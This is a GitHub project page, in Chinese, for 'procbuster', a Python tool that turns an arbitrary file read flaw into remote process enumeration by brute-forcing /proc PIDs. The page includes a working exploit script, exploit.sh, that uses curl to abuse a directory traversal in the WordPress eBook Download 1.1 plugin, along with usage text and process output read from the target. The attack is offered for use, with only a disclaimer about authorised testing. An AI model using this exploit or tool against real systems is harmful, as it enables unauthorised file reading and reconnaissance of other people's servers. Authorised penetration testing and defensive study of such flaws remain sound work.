magicrc/procbuster
GitHub: magicrc/procbuster
利用任意文件读取漏洞暴力遍历 Linux /proc 目录,在无 shell 访问权限的情况下实现远程进程枚举的 Python 工具。
Stars: 0 | Forks: 0
# procbuster
`procbuster` 是一个基于 Python 的系统进程枚举工具,它利用任意文件读取漏洞(例如本地文件包含)在目标机器上**暴力破解 `/proc` 目录**。它读取每个进程的 `cmdline`(以及在可用时的 `status`)来列出正在运行的进程——而无需 shell 访问权限。其输出模仿了 `ps`,便于在漏洞利用期间识别系统活动和活跃服务。
### ⚠️ 免责声明
本项目**仅供教育、研究和授权安全测试目的使用**。
**请勿在您不拥有或未获得明确测试许可的系统上使用此代码。**
作者对任何损坏或滥用**不承担责任**。
### 用法
```
┌──(magicrc㉿perun)-[~/code/procbuster]
└─$ ~/code/procbuster/procbuster.py --help
usage: procbuster.py [-h] --file-read-cmd CMD [--max-pid MAX_PID] [--workers N] [--timeout S]
Lists processes by brute-forcing /proc PIDs and reading status and cmdline.
options:
-h, --help show this help message and exit
--file-read-cmd CMD Command used to read remote files. The target path is appended as the last argument. Example: ./exploit.sh
--max-pid MAX_PID Maximum PID to check (default: 65535)
--workers N Concurrent worker threads (default: 50)
--timeout S Per-request timeout in seconds (default: 5)
```
`--file-read-cmd` 是必需的。该命令必须接受远程文件路径作为其最后一个参数,并将文件内容打印到标准输出。空输出将被视为“未找到文件”。
在扫描之前,procbuster 会通过读取目标上的 `/proc/self/cmdline` 来验证该命令。如果没有返回任何输出,该工具将立即退出并报错。
### 工作原理
1. 从目标读取 `/etc/passwd` 以构建 UID → 用户名映射。
2. 使用线程池并发地从 1 到 `--max-pid` 暴力破解 PID。
3. 对于每个 PID,读取 `/proc//cmdline` 作为主要的存在性检查。
4. 如果 `/proc//status` 也可读,则提取进程名和 UID 用于解析用户。
5. 实时打印结果(无缓冲)。
### 示例
利用 WordPress eBook Download 1.1 目录遍历漏洞
```
┌──(magicrc㉿perun)-[~/code/procbuster]
└─$ cat exploit.sh
#!/bin/bash
curl -s -o - "http://target/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../..$1" \
| sed "s|\(../../../../../..${1}\)\+||g" \
| sed 's#$##'
┌──(magicrc㉿perun)-[~/code/procbuster]
└─$ ./procbuster.py --file-read-cmd ./exploit.sh --max-pid 20
PID USER CMD
1 root /sbin/init auto automatic-ubiquity noprompt
2 root [kthreadd]
3 root [rcu_gp]
4 root [rcu_par_gp]
6 root [kworker/0:0H-kblockd]
7 root [kworker/0:1-events]
9 root [mm_percpu_wq]
10 root [ksoftirqd/0]
11 root [rcu_sched]
12 root [migration/0]
13 root [idle_inject/0]
14 root [cpuhp/0]
15 root [cpuhp/1]
16 root [idle_inject/1]
17 root [migration/1]
18 root [ksoftirqd/1]
20 root [kworker/1:0H-kblockd]
```
标签:HTTP工具, LFI, PID枚举, PoC, proc目录, Python, UID映射, Web安全, XXE, XXE攻击, 任意文件读取, 命令执行, 并发, 数字取证, 数据展示, 无后门, 无线安全, 暴力破解, 本地文件包含, 红队, 网络安全, 自动化脚本, 蓝队分析, 进程枚举, 逆向工具, 隐私保护